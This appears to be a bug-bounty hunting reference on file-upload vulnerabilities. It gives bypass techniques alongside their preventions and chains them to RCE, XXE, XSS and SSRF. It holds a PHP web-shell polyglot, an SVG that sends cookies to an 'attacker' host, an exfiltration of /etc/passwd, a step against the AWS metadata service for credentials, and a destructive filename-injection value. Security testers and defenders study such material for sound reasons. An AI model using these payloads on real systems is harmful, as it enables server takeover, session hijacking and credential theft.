Hunt file upload

9. FILE UPLOAD

Content-Type Bypass

filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants

File Upload Bypass Techniques (10 techniques)

Attack	How	Prevention
Extension bypass	shell.php.jpg, shell.pHp, shell.php5	Allowlist + extract final extension
Null byte	shell.php%00.jpg	Sanitize null bytes
Double extension	shell.jpg.php	Only allow single extension
MIME spoof	Content-Type: image/jpeg with .php body	Validate magic bytes, not MIME header
Magic bytes prefix	Prepend GIF89a; to PHP code	Parse whole file, not just header
Polyglot	Valid as JPEG and PHP	Process as image lib, reject if invalid
SVG JavaScript	<svg onload="...">	Sanitize SVG or disallow entirely
XXE in DOCX	Malicious XML in Office ZIP	Disable external entities
ZIP slip	../../../etc/passwd in archive	Validate extracted paths
Filename injection	; rm -rf / in filename	Sanitize + use UUID names

Magic Bytes Reference

Type	Hex
JPEG	FF D8 FF
PNG	89 50 4E 47 0D 0A 1A 0A
GIF	47 49 46 38
PDF	25 50 44 46
ZIP/DOCX/XLSX	50 4B 03 04

Stored XSS via SVG

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

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Related Skills & Chains

• hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
• hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
• hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
• hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
• security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
• triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.